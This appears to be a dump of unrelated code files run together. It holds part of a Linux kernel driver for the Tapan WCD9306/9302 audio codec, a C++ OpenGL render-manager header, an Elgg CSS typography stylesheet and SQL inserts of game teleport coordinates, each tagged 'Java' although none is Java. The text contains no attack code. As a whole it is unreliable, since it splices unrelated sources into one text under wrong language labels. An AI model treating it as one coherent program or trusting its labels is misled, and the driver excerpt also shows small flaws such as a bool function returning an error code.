snd_soc_write(codec, TAPAN_A_CDC_RX1_B1_CTL, 0x00);
snd_soc_write(codec, TAPAN_A_CDC_RX1_B1_CTL, 0x00);
snd_soc_write(codec, TAPAN_A_CDC_RX1_B1_CTL, 0x00);
/* Reset the HPHR static data pointer */
__wr(TAPAN_A_CDC_RX2_B2_CTL, 0xFF, 0x00);
/* Four consecutive writes to set 0V as static data input */
snd_soc_write(codec, TAPAN_A_CDC_RX2_B1_CTL, 0x00);
snd_soc_write(codec, TAPAN_A_CDC_RX2_B1_CTL, 0x00);
snd_soc_write(codec, TAPAN_A_CDC_RX2_B1_CTL, 0x00);
snd_soc_write(codec, TAPAN_A_CDC_RX2_B1_CTL, 0x00);
/* Enable the HPHL and HPHR PA */
wcd9xxx_enable_static_pa(mbhc, true);
break;
case MBHC_ZDET_POST_MEASURE:
/* Turn off ICAL */
snd_soc_write(codec, WCD9XXX_A_MBHC_SCALING_MUX_2, 0xF0);
wcd9xxx_enable_static_pa(mbhc, false);
/*
* Setup CnP wavegen to ramp to the desired
* output using a 40ms ramp
*/
/* CnP wavegen current to 0.5uA */
snd_soc_write(codec, WCD9XXX_A_RX_HPH_BIAS_WG_OCP, 0x1A);
/* Set the current division ratio to 2000 */
snd_soc_write(codec, WCD9XXX_A_RX_HPH_CNP_WG_CTL, 0xDF);
/* Set the wavegen timer to max (60msec) */
snd_soc_write(codec, WCD9XXX_A_RX_HPH_CNP_WG_TIME, 0xA0);
/* Set the CnP reference current to sc_bias */
snd_soc_write(codec, WCD9XXX_A_RX_HPH_OCP_CTL, 0x6D);
snd_soc_write(codec, TAPAN_A_CDC_RX1_B2_CTL, 0x00);
/* Four consecutive writes to set -10mV as static data input */
snd_soc_write(codec, TAPAN_A_CDC_RX1_B1_CTL, 0x00);
snd_soc_write(codec, TAPAN_A_CDC_RX1_B1_CTL, 0x1F);
snd_soc_write(codec, TAPAN_A_CDC_RX1_B1_CTL, 0x19);
snd_soc_write(codec, TAPAN_A_CDC_RX1_B1_CTL, 0xAA);
snd_soc_write(codec, TAPAN_A_CDC_RX2_B2_CTL, 0x00);
/* Four consecutive writes to set -10mV as static data input */
snd_soc_write(codec, TAPAN_A_CDC_RX2_B1_CTL, 0x00);
snd_soc_write(codec, TAPAN_A_CDC_RX2_B1_CTL, 0x1F);
snd_soc_write(codec, TAPAN_A_CDC_RX2_B1_CTL, 0x19);
snd_soc_write(codec, TAPAN_A_CDC_RX2_B1_CTL, 0xAA);
snd_soc_update_bits(codec, WCD9XXX_A_RX_HPH_L_TEST,
0x02, 0x02);
snd_soc_update_bits(codec, WCD9XXX_A_RX_HPH_R_TEST,
0x02, 0x02);
/* Enable the HPHL and HPHR PA and wait for 60mS */
wcd9xxx_enable_static_pa(mbhc, true);
snd_soc_update_bits(codec, WCD9XXX_A_MBHC_SCALING_MUX_1,
0x7F, 0x40);
usleep_range(mux_wait_us,
mux_wait_us + WCD9XXX_USLEEP_RANGE_MARGIN_US);
break;
case MBHC_ZDET_PA_DISABLE:
if (!mbhc->hph_pa_dac_state)
wcd9xxx_enable_static_pa(mbhc, false);
wcd9xxx_restore_registers(codec, &tapan->reg_save_restore);
break;
default:
dev_dbg(codec->dev, "%s: Case %d not supported\n",
__func__, stage);
break;
}
#undef __wr
return ret;
}
static void tapan_compute_impedance(struct wcd9xxx_mbhc *mbhc, s16 *l, s16 *r,
uint32_t *zl, uint32_t *zr)
{
int zln, zld;
int zrn, zrd;
int rl = 0, rr = 0;
if (!mbhc) {
pr_err("%s: NULL pointer for MBHC", __func__);
return;
}
zln = (l[1] - l[0]) * TAPAN_ZDET_MUL_FACTOR;
zld = (l[2] - l[0]);
if (zld)
rl = zln / zld;
zrn = (r[1] - r[0]) * TAPAN_ZDET_MUL_FACTOR;
zrd = (r[2] - r[0]);
if (zrd)
rr = zrn / zrd;
*zl = rl;
*zr = rr;
}
static const struct wcd9xxx_mbhc_cb mbhc_cb = {
.enable_mux_bias_block = tapan_enable_mux_bias_block,
.cfilt_fast_mode = tapan_put_cfilt_fast_mode,
.codec_specific_cal = tapan_codec_specific_cal_setup,
.switch_cfilt_mode = tapan_codec_switch_cfilt_mode,
.select_cfilt = tapan_select_cfilt,
.get_cdc_type = tapan_get_cdc_type,
.setup_zdet = tapan_setup_zdet,
.compute_impedance = tapan_compute_impedance,
};
int tapan_hs_detect(struct snd_soc_codec *codec,
struct wcd9xxx_mbhc_config *mbhc_cfg)
{
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
return wcd9xxx_mbhc_start(&tapan->mbhc, mbhc_cfg);
}
EXPORT_SYMBOL(tapan_hs_detect);
void tapan_hs_detect_exit(struct snd_soc_codec *codec)
{
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
wcd9xxx_mbhc_stop(&tapan->mbhc);
}
EXPORT_SYMBOL(tapan_hs_detect_exit);
void tapan_event_register(
int (*machine_event_cb)(struct snd_soc_codec *codec,
enum wcd9xxx_codec_event),
struct snd_soc_codec *codec)
{
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
tapan->machine_codec_event_cb = machine_event_cb;
}
EXPORT_SYMBOL(tapan_event_register);
static int tapan_device_down(struct wcd9xxx *wcd9xxx)
{
struct snd_soc_codec *codec;
codec = (struct snd_soc_codec *)(wcd9xxx->ssr_priv);
snd_soc_card_change_online_state(codec->card, 0);
return 0;
}
static const struct wcd9xxx_mbhc_intr cdc_intr_ids = {
.poll_plug_rem = WCD9XXX_IRQ_MBHC_REMOVAL,
.shortavg_complete = WCD9XXX_IRQ_MBHC_SHORT_TERM,
.potential_button_press = WCD9XXX_IRQ_MBHC_PRESS,
.button_release = WCD9XXX_IRQ_MBHC_RELEASE,
.dce_est_complete = WCD9XXX_IRQ_MBHC_POTENTIAL,
.insertion = WCD9XXX_IRQ_MBHC_INSERTION,
.hph_left_ocp = WCD9306_IRQ_HPH_PA_OCPL_FAULT,
.hph_right_ocp = WCD9306_IRQ_HPH_PA_OCPR_FAULT,
.hs_jack_switch = WCD9306_IRQ_MBHC_JACK_SWITCH,
};
static int tapan_post_reset_cb(struct wcd9xxx *wcd9xxx)
{
int ret = 0;
int rco_clk_rate;
struct snd_soc_codec *codec;
struct tapan_priv *tapan;
int count;
codec = (struct snd_soc_codec *)(wcd9xxx->ssr_priv);
tapan = snd_soc_codec_get_drvdata(codec);
snd_soc_card_change_online_state(codec->card, 1);
mutex_lock(&codec->mutex);
if (codec->reg_def_copy) {
pr_debug("%s: Update ASOC cache", __func__);
kfree(codec->reg_cache);
codec->reg_cache = kmemdup(codec->reg_def_copy,
codec->reg_size, GFP_KERNEL);
if (!codec->reg_cache) {
pr_err("%s: Cache update failed!\n", __func__);
mutex_unlock(&codec->mutex);
return -ENOMEM;
}
}
if (spkr_drv_wrnd == 1)
snd_soc_update_bits(codec, TAPAN_A_SPKR_DRV_EN, 0x80, 0x80);
tapan_update_reg_defaults(codec);
tapan_update_reg_mclk_rate(wcd9xxx);
tapan_codec_init_reg(codec);
ret = tapan_handle_pdata(tapan);
if (IS_ERR_VALUE(ret))
pr_err("%s: bad pdata\n", __func__);
tapan_slim_interface_init_reg(codec);
wcd9xxx_resmgr_post_ssr(&tapan->resmgr);
wcd9xxx_mbhc_deinit(&tapan->mbhc);
if (TAPAN_IS_1_0(wcd9xxx->version))
rco_clk_rate = TAPAN_MCLK_CLK_12P288MHZ;
else
rco_clk_rate = TAPAN_MCLK_CLK_9P6MHZ;
ret = wcd9xxx_mbhc_init(&tapan->mbhc, &tapan->resmgr, codec,
tapan_enable_mbhc_micbias,
&mbhc_cb, &cdc_intr_ids, rco_clk_rate,
TAPAN_CDC_ZDET_SUPPORTED);
if (ret)
pr_err("%s: mbhc init failed %d\n", __func__, ret);
else
wcd9xxx_mbhc_start(&tapan->mbhc, tapan->mbhc.mbhc_cfg);
tapan_cleanup_irqs(tapan);
ret = tapan_setup_irqs(tapan);
if (ret)
pr_err("%s: Failed to setup irq: %d\n", __func__, ret);
tapan->machine_codec_event_cb(codec, WCD9XXX_CODEC_EVENT_CODEC_UP);
for (count = 0; count < NUM_CODEC_DAIS; count++)
tapan->dai[count].bus_down_in_recovery = true;
mutex_unlock(&codec->mutex);
return ret;
}
static struct wcd9xxx_reg_address tapan_reg_address = {
};
static int wcd9xxx_ssr_register(struct wcd9xxx *control,
int (*device_down_cb)(struct wcd9xxx *wcd9xxx),
int (*device_up_cb)(struct wcd9xxx *wcd9xxx),
void *priv)
{
control->dev_down = device_down_cb;
control->post_reset = device_up_cb;
control->ssr_priv = priv;
return 0;
}
static struct regulator *tapan_codec_find_regulator(
struct snd_soc_codec *codec,
const char *name)
{
int i;
struct wcd9xxx *core = NULL;
if (codec == NULL) {
dev_err(codec->dev, "%s: codec not initialized\n", __func__);
return NULL;
}
core = dev_get_drvdata(codec->dev->parent);
if (core == NULL) {
dev_err(codec->dev, "%s: core not initialized\n", __func__);
return NULL;
}
for (i = 0; i < core->num_of_supplies; i++) {
if (core->supplies[i].supply &&
!strcmp(core->supplies[i].supply, name))
return core->supplies[i].consumer;
}
return NULL;
}
static void tapan_enable_config_rco(struct wcd9xxx *core, bool enable)
{
struct wcd9xxx_core_resource *core_res = &core->core_res;
if (enable) {
wcd9xxx_reg_update(core, WCD9XXX_A_BIAS_CENTRAL_BG_CTL,
0x80, 0x80);
wcd9xxx_reg_update(core, WCD9XXX_A_BIAS_CENTRAL_BG_CTL,
0x04, 0x04);
wcd9xxx_reg_update(core, WCD9XXX_A_BIAS_CENTRAL_BG_CTL,
0x01, 0x01);
usleep_range(1000, 1000);
wcd9xxx_reg_update(core, WCD9XXX_A_BIAS_CENTRAL_BG_CTL,
0x80, 0x00);
/* Enable RC Oscillator */
wcd9xxx_reg_update(core, WCD9XXX_A_RC_OSC_FREQ, 0x10, 0x00);
wcd9xxx_reg_write(core_res, WCD9XXX_A_BIAS_OSC_BG_CTL, 0x17);
usleep_range(5, 5);
wcd9xxx_reg_update(core, WCD9XXX_A_RC_OSC_FREQ, 0x80, 0x80);
wcd9xxx_reg_update(core, WCD9XXX_A_RC_OSC_TEST, 0x80, 0x80);
usleep_range(10, 10);
wcd9xxx_reg_update(core, WCD9XXX_A_RC_OSC_TEST, 0x80, 0x00);
usleep_range(20, 20);
wcd9xxx_reg_update(core, WCD9XXX_A_CLK_BUFF_EN1, 0x08, 0x08);
/* Enable MCLK and wait 1ms till it gets enabled */
wcd9xxx_reg_write(core_res, WCD9XXX_A_CLK_BUFF_EN2, 0x02);
usleep_range(1000, 1000);
/* Enable CLK BUFF and wait for 1.2ms */
wcd9xxx_reg_update(core, WCD9XXX_A_CLK_BUFF_EN1, 0x01, 0x01);
usleep_range(1000, 1200);
wcd9xxx_reg_update(core, WCD9XXX_A_CLK_BUFF_EN2, 0x02, 0x00);
wcd9xxx_reg_update(core, WCD9XXX_A_CLK_BUFF_EN2, 0x04, 0x04);
wcd9xxx_reg_update(core, WCD9XXX_A_CDC_CLK_MCLK_CTL,
0x01, 0x01);
usleep_range(50, 50);
} else {
wcd9xxx_reg_update(core, WCD9XXX_A_CLK_BUFF_EN2, 0x04, 0x00);
usleep_range(50, 50);
wcd9xxx_reg_update(core, WCD9XXX_A_CLK_BUFF_EN2, 0x02, 0x02);
wcd9xxx_reg_update(core, WCD9XXX_A_CLK_BUFF_EN1, 0x05, 0x00);
usleep_range(50, 50);
wcd9xxx_reg_update(core, WCD9XXX_A_RC_OSC_FREQ, 0x80, 0x00);
usleep_range(10, 10);
wcd9xxx_reg_write(core_res, WCD9XXX_A_BIAS_OSC_BG_CTL, 0x16);
wcd9xxx_reg_update(core, WCD9XXX_A_BIAS_CENTRAL_BG_CTL,
0x03, 0x00);
usleep_range(100, 100);
}
}
static bool tapan_check_wcd9306(struct device *cdc_dev, bool sensed)
{
struct wcd9xxx *core = dev_get_drvdata(cdc_dev->parent);
u8 reg_val;
bool ret = true;
unsigned long timeout;
bool timedout;
struct wcd9xxx_core_resource *core_res = &core->core_res;
if (!core) {
dev_err(cdc_dev, "%s: core not initialized\n", __func__);
return -EINVAL;
}
tapan_enable_config_rco(core, 1);
if (sensed == false) {
reg_val = wcd9xxx_reg_read(core_res, TAPAN_A_QFUSE_CTL);
wcd9xxx_reg_write(core_res, TAPAN_A_QFUSE_CTL,
(reg_val | 0x03));
}
timeout = jiffies + HZ;
do {
if ((wcd9xxx_reg_read(core_res, TAPAN_A_QFUSE_STATUS)))
break;
} while (!(timedout = time_after(jiffies, timeout)));
if (wcd9xxx_reg_read(core_res, TAPAN_A_QFUSE_DATA_OUT1) ||
wcd9xxx_reg_read(core_res, TAPAN_A_QFUSE_DATA_OUT2)) {
dev_info(cdc_dev, "%s: wcd9302 detected\n", __func__);
ret = false;
} else
dev_info(cdc_dev, "%s: wcd9306 detected\n", __func__);
tapan_enable_config_rco(core, 0);
return ret;
};
static int tapan_codec_probe(struct snd_soc_codec *codec)
{
struct wcd9xxx *control;
struct tapan_priv *tapan;
struct wcd9xxx_pdata *pdata;
struct wcd9xxx *wcd9xxx;
struct snd_soc_dapm_context *dapm = &codec->dapm;
int ret = 0;
int i, rco_clk_rate;
void *ptr = NULL;
struct wcd9xxx_core_resource *core_res;
codec->control_data = dev_get_drvdata(codec->dev->parent);
control = codec->control_data;
wcd9xxx_ssr_register(control, tapan_device_down,
tapan_post_reset_cb, (void *)codec);
dev_info(codec->dev, "%s()\n", __func__);
tapan = kzalloc(sizeof(struct tapan_priv), GFP_KERNEL);
if (!tapan) {
dev_err(codec->dev, "Failed to allocate private data\n");
return -ENOMEM;
}
for (i = 0 ; i < NUM_DECIMATORS; i++) {
tx_hpf_work[i].tapan = tapan;
tx_hpf_work[i].decimator = i + 1;
INIT_DELAYED_WORK(&tx_hpf_work[i].dwork,
tx_hpf_corner_freq_callback);
}
snd_soc_codec_set_drvdata(codec, tapan);
/* codec resmgr module init */
wcd9xxx = codec->control_data;
core_res = &wcd9xxx->core_res;
pdata = dev_get_platdata(codec->dev->parent);
ret = wcd9xxx_resmgr_init(&tapan->resmgr, codec, core_res, pdata,
&pdata->micbias, &tapan_reg_address,
WCD9XXX_CDC_TYPE_TAPAN);
if (ret) {
pr_err("%s: wcd9xxx init failed %d\n", __func__, ret);
return ret;
}
tapan->cp_regulators[CP_REG_BUCK] = tapan_codec_find_regulator(codec,
WCD9XXX_SUPPLY_BUCK_NAME);
tapan->cp_regulators[CP_REG_BHELPER] = tapan_codec_find_regulator(codec,
"cdc-vdd-buckhelper");
tapan->clsh_d.buck_mv = tapan_codec_get_buck_mv(codec);
/*
* If 1.8 volts is requested on the vdd_cp line, then
* assume that S4 is in a dynamically switchable state
* and can switch between 1.8 volts and 2.15 volts
*/
if (tapan->clsh_d.buck_mv == WCD9XXX_CDC_BUCK_MV_1P8)
tapan->clsh_d.is_dynamic_vdd_cp = true;
wcd9xxx_clsh_init(&tapan->clsh_d, &tapan->resmgr);
if (TAPAN_IS_1_0(control->version))
rco_clk_rate = TAPAN_MCLK_CLK_12P288MHZ;
else
rco_clk_rate = TAPAN_MCLK_CLK_9P6MHZ;
ret = wcd9xxx_mbhc_init(&tapan->mbhc, &tapan->resmgr, codec,
tapan_enable_mbhc_micbias,
&mbhc_cb, &cdc_intr_ids, rco_clk_rate,
TAPAN_CDC_ZDET_SUPPORTED);
if (ret) {
pr_err("%s: mbhc init failed %d\n", __func__, ret);
return ret;
}
tapan->codec = codec;
for (i = 0; i < COMPANDER_MAX; i++) {
tapan->comp_enabled[i] = 0;
tapan->comp_fs[i] = COMPANDER_FS_48KHZ;
}
tapan->intf_type = wcd9xxx_get_intf_type();
tapan->aux_pga_cnt = 0;
tapan->aux_l_gain = 0x1F;
tapan->aux_r_gain = 0x1F;
tapan->ldo_h_users = 0;
tapan->micb_2_users = 0;
tapan->lb_mode = false;
tapan_update_reg_defaults(codec);
tapan_update_reg_mclk_rate(wcd9xxx);
tapan_codec_init_reg(codec);
ret = tapan_handle_pdata(tapan);
if (IS_ERR_VALUE(ret)) {
dev_err(codec->dev, "%s: bad pdata\n", __func__);
goto err_pdata;
}
if (spkr_drv_wrnd > 0) {
WCD9XXX_BG_CLK_LOCK(&tapan->resmgr);
wcd9xxx_resmgr_get_bandgap(&tapan->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
WCD9XXX_BG_CLK_UNLOCK(&tapan->resmgr);
}
ptr = kmalloc((sizeof(tapan_rx_chs) +
sizeof(tapan_tx_chs)), GFP_KERNEL);
if (!ptr) {
pr_err("%s: no mem for slim chan ctl data\n", __func__);
ret = -ENOMEM;
goto err_nomem_slimch;
}
if (tapan->intf_type == WCD9XXX_INTERFACE_TYPE_I2C) {
snd_soc_dapm_new_controls(dapm, tapan_dapm_i2s_widgets,
ARRAY_SIZE(tapan_dapm_i2s_widgets));
snd_soc_dapm_add_routes(dapm, audio_i2s_map,
ARRAY_SIZE(audio_i2s_map));
for (i = 0; i < ARRAY_SIZE(tapan_i2s_dai); i++)
INIT_LIST_HEAD(&tapan->dai[i].wcd9xxx_ch_list);
} else if (tapan->intf_type == WCD9XXX_INTERFACE_TYPE_SLIMBUS) {
for (i = 0; i < NUM_CODEC_DAIS; i++) {
INIT_LIST_HEAD(&tapan->dai[i].wcd9xxx_ch_list);
init_waitqueue_head(&tapan->dai[i].dai_wait);
}
tapan_init_slim_slave_cfg(codec);
}
if (codec_ver == WCD9306) {
snd_soc_add_codec_controls(codec, tapan_9306_snd_controls,
ARRAY_SIZE(tapan_9306_snd_controls));
snd_soc_dapm_new_controls(dapm, tapan_9306_dapm_widgets,
ARRAY_SIZE(tapan_9306_dapm_widgets));
snd_soc_dapm_add_routes(dapm, wcd9306_map,
ARRAY_SIZE(wcd9306_map));
} else {
snd_soc_dapm_add_routes(dapm, wcd9302_map,
ARRAY_SIZE(wcd9302_map));
}
control->num_rx_port = TAPAN_RX_MAX;
control->rx_chs = ptr;
memcpy(control->rx_chs, tapan_rx_chs, sizeof(tapan_rx_chs));
control->num_tx_port = TAPAN_TX_MAX;
control->tx_chs = ptr + sizeof(tapan_rx_chs);
memcpy(control->tx_chs, tapan_tx_chs, sizeof(tapan_tx_chs));
snd_soc_dapm_sync(dapm);
(void) tapan_setup_irqs(tapan);
atomic_set(&kp_tapan_priv, (unsigned long)tapan);
mutex_lock(&dapm->codec->mutex);
if (codec_ver == WCD9306) {
snd_soc_dapm_disable_pin(dapm, "ANC HPHL");
snd_soc_dapm_disable_pin(dapm, "ANC HPHR");
snd_soc_dapm_disable_pin(dapm, "ANC HEADPHONE");
snd_soc_dapm_disable_pin(dapm, "ANC EAR PA");
snd_soc_dapm_disable_pin(dapm, "ANC EAR");
}
snd_soc_dapm_sync(dapm);
mutex_unlock(&dapm->codec->mutex);
codec->ignore_pmdown_time = 1;
if (ret)
tapan_cleanup_irqs(tapan);
return ret;
err_pdata:
kfree(ptr);
err_nomem_slimch:
kfree(tapan);
return ret;
}
static int tapan_codec_remove(struct snd_soc_codec *codec)
{
struct tapan_priv *tapan = snd_soc_codec_get_drvdata(codec);
int index = 0;
WCD9XXX_BG_CLK_LOCK(&tapan->resmgr);
atomic_set(&kp_tapan_priv, 0);
if (spkr_drv_wrnd > 0)
wcd9xxx_resmgr_put_bandgap(&tapan->resmgr,
WCD9XXX_BANDGAP_AUDIO_MODE);
WCD9XXX_BG_CLK_UNLOCK(&tapan->resmgr);
tapan_cleanup_irqs(tapan);
/* cleanup MBHC */
wcd9xxx_mbhc_deinit(&tapan->mbhc);
/* cleanup resmgr */
wcd9xxx_resmgr_deinit(&tapan->resmgr);
for (index = 0; index < CP_REG_MAX; index++)
tapan->cp_regulators[index] = NULL;
kfree(tapan);
return 0;
}
static struct snd_soc_codec_driver soc_codec_dev_tapan = {
.probe = tapan_codec_probe,
.remove = tapan_codec_remove,
.read = tapan_read,
.write = tapan_write,
.readable_register = tapan_readable,
.volatile_register = tapan_volatile,
.reg_cache_size = TAPAN_CACHE_SIZE,
.reg_cache_default = tapan_reset_reg_defaults,
.reg_word_size = 1,
.controls = tapan_common_snd_controls,
.num_controls = ARRAY_SIZE(tapan_common_snd_controls),
.dapm_widgets = tapan_common_dapm_widgets,
.num_dapm_widgets = ARRAY_SIZE(tapan_common_dapm_widgets),
.dapm_routes = audio_map,
.num_dapm_routes = ARRAY_SIZE(audio_map),
};
#ifdef CONFIG_PM
static int tapan_suspend(struct device *dev)
{
dev_dbg(dev, "%s: system suspend\n", __func__);
return 0;
}
static int tapan_resume(struct device *dev)
{
struct platform_device *pdev = to_platform_device(dev);
struct tapan_priv *tapan = platform_get_drvdata(pdev);
dev_dbg(dev, "%s: system resume\n", __func__);
/* Notify */
wcd9xxx_resmgr_notifier_call(&tapan->resmgr, WCD9XXX_EVENT_POST_RESUME);
return 0;
}
static const struct dev_pm_ops tapan_pm_ops = {
.suspend = tapan_suspend,
.resume = tapan_resume,
};
#endif
static int __devinit tapan_probe(struct platform_device *pdev)
{
int ret = 0;
bool is_wcd9306;
is_wcd9306 = tapan_check_wcd9306(&pdev->dev, false);
if (is_wcd9306 < 0) {
dev_info(&pdev->dev, "%s: cannot find codec type, default to 9306\n",
__func__);
is_wcd9306 = true;
}
codec_ver = is_wcd9306 ? WCD9306 : WCD9302;
if (!is_wcd9306) {
if (wcd9xxx_get_intf_type() == WCD9XXX_INTERFACE_TYPE_SLIMBUS)
ret = snd_soc_register_codec(&pdev->dev,
&soc_codec_dev_tapan,
tapan9302_dai, ARRAY_SIZE(tapan9302_dai));
else if (wcd9xxx_get_intf_type() == WCD9XXX_INTERFACE_TYPE_I2C)
ret = snd_soc_register_codec(&pdev->dev,
&soc_codec_dev_tapan,
tapan_i2s_dai, ARRAY_SIZE(tapan_i2s_dai));
} else {
if (wcd9xxx_get_intf_type() == WCD9XXX_INTERFACE_TYPE_SLIMBUS)
ret = snd_soc_register_codec(&pdev->dev,
&soc_codec_dev_tapan,
tapan_dai, ARRAY_SIZE(tapan_dai));
else if (wcd9xxx_get_intf_type() == WCD9XXX_INTERFACE_TYPE_I2C)
ret = snd_soc_register_codec(&pdev->dev,
&soc_codec_dev_tapan,
tapan_i2s_dai, ARRAY_SIZE(tapan_i2s_dai));
}
return ret;
}
static int __devexit tapan_remove(struct platform_device *pdev)
{
snd_soc_unregister_codec(&pdev->dev);
return 0;
}
static struct platform_driver tapan_codec_driver = {
.probe = tapan_probe,
.remove = tapan_remove,
.driver = {
.name = "tapan_codec",
.owner = THIS_MODULE,
#ifdef CONFIG_PM
.pm = &tapan_pm_ops,
#endif
},
};
static int __init tapan_codec_init(void)
{
return platform_driver_register(&tapan_codec_driver);
}
static void __exit tapan_codec_exit(void)
{
platform_driver_unregister(&tapan_codec_driver);
}
module_init(tapan_codec_init);
module_exit(tapan_codec_exit);
MODULE_DESCRIPTION("Tapan codec driver");
MODULE_LICENSE("GPL v2");
| Java |
#ifndef MANAGER_RENDER_H
#define MANAGER_RENDER_H
#include "manager_space.h"
#include <vector>
#include <string>
#include <glm/gtc/matrix_transform.hpp>
#include <glm/glm.hpp>
using namespace std;
class render_obj {
public:
render_obj();
render_obj(GLuint _vao, GLuint _vbo);
render_obj(GLuint _vao, GLuint _vbo, GLuint _tbo);
render_obj(GLuint _vao, GLuint _vbo, GLuint _tbo, GLuint _nbo);
void basicPlane();
void end();
bool hasV, hasT, hasN;
GLuint vao, vbo, tbo, nbo;
};
class camera{
public:
camera();
camera(int dim);
glm::mat4 proj, model, view, mvp;
void setMat(int dim);
void calcMat();
};
class render_manager {
public:
render_manager();
virtual ~render_manager();
void loadShader(const char *vertexpath, const char *fragmentpath);
void end();
void init();
void useProg(int index);
GLuint getProg(int index);
GLuint getUniform(const char *s);
void putTex(GLuint t_id, int where, const char *var_name);
void loadPNG(const char *name);
void deletePNG(int ind);
void drawImg(int w,int h);
int in_use;
camera c;
render_obj r;
vector<GLuint> prog;
vector<tex> texture;
};
#endif // MANAGER_RENDER_H
| Java |
<?php
/**
* CSS typography
*
* @package Elgg.Core
* @subpackage UI
*/
?>
/* ***************************************
Typography
*************************************** */
body {
font-size: 80%;
line-height: 1.4em;
font-family: "Lucida Grande", Arial, Tahoma, Verdana, sans-serif;
}
a {
color: #446;
}
a:hover,
a.selected { <?php //@todo remove .selected ?>
color: #555555;
text-decoration: underline;
}
p {
margin-bottom: 15px;
}
p:last-child {
margin-bottom: 0;
}
pre, code {
font-family: Monaco, "Courier New", Courier, monospace;
font-size: 12px;
background:#EBF5FF;
color:#000000;
overflow:auto;
overflow-x: auto; /* Use horizontal scroller if needed; for Firefox 2, not needed in Firefox 3 */
white-space: pre-wrap;
word-wrap: break-word; /* IE 5.5-7 */
}
pre {
padding:3px 15px;
margin:0px 0 15px 0;
line-height:1.3em;
}
code {
padding:2px 3px;
}
.elgg-monospace {
font-family: Monaco, "Courier New", Courier, monospace;
}
blockquote {
line-height: 1.3em;
padding:3px 15px;
margin:0px 0 15px 0;
background:#EBF5FF;
border:none;
-webkit-border-radius: 4px;
-moz-border-radius: 4px;
border-radius: 4px;
}
h1, h2, h3, h4, h5, h6 {
font-weight: bold;
color: #566;
}
h1 { font-size: 1.8em; }
h2 { font-size: 1.5em; line-height: 1.1em; padding-bottom:5px}
h3 { font-size: 1.2em; }
h4 { font-size: 1.0em; }
h5 { font-size: 0.9em; }
h6 { font-size: 0.8em; }
.elgg-heading-site, .elgg-heading-site:hover {
font-size: 2em;
line-height: 1.4em;
color: white;
font-style: italic;
font-family: Georgia, times, serif;
text-shadow: 1px 2px 4px #333333;
text-decoration: none;
}
.elgg-heading-main {
float: left;
max-width: 530px;
margin-right: 10px;
}
.elgg-heading-basic {
color: #455;
font-size: 1.2em;
font-weight: bold;
}
.elgg-subtext {
color: #666666;
font-size: 85%;
line-height: 1.2em;
font-style: italic;
}
.elgg-text-help {
display: block;
font-size: 85%;
font-style: italic;
}
.elgg-quiet {
color: #666;
}
.elgg-loud {
color: #0054A7;
}
/* ***************************************
USER INPUT DISPLAY RESET
*************************************** */
.elgg-output {
margin-top: 10px;
}
.elgg-output dt { font-weight: bold }
.elgg-output dd { margin: 0 0 1em 1em }
.elgg-output ul, .elgg-output ol {
margin: 0 1.5em 1.5em 0;
padding-left: 1.5em;
}
.elgg-output ul {
list-style-type: disc;
}
.elgg-output ol {
list-style-type: decimal;
}
.elgg-output table {
border: 1px solid #ccc;
}
.elgg-output table td {
border: 1px solid #ccc;
padding: 3px 5px;
}
.elgg-output img {
max-width: 100%;
} | Java |
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10095, -2973.16, -21.0658, 190.085, 3.63401, 1, 'montmulgore');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10094, 9450.69, 65.4357, 18.6532, 3.75495, 1, 'retrievalally');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10092, -1859.96, -4139.58, 10.7204, 4.52634, 0, 'merinterdite');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10091, -4828.17, -982.03, 464.709, 3.9015, 0, 'EldestIronforge');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10090, -11372.9, -4729.71, 5.04762, 3.44946, 1, 'iledelunah');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10087, 9463.68, 66.9378, 19.3721, 2.76772, 1, 'evangeline');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10086, -1833.26, -4198.24, 3.81099, 1.62944, 0, 'cedrix');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10085, -3991.53, -1306.78, 147.66, 3.42565, 0, 'bulle');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10084, 16303.8, 16317.3, 69.4447, 3.95691, 451, 'programmer');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10083, 16303.5, -16173.5, 40.4365, 4.48784, 451, 'designer');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10082, 2212.57, -5110.05, 235.914, 4.37593, 571, 'loveyou');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10081, 2212.57, -5110.05, 235.914, 0.056245, 571, 'tuesunemauvaise');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10080, -5513.16, 930.636, 396.782, 3.28808, 0, 'EventMograine');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10079, 5440.62, -2791.63, 1474.01, 0.994314, 1, 'hyjalarena');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10078, 4418.91, -2522.02, 1123.48, 0.165595, 1, 'hyjalarene');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10077, 4426.23, -2511.4, 1125.03, 0.117803, 1, 'Hyjal tournois');
INSERT INTO `game_tele` (`id`, `position_x`, `position_y`, `position_z`, `orientation`, `map`, `name`) VALUES (10076, -13258.7, 279.552, 33.2427, 5.97963, 0, 'Allypxp');
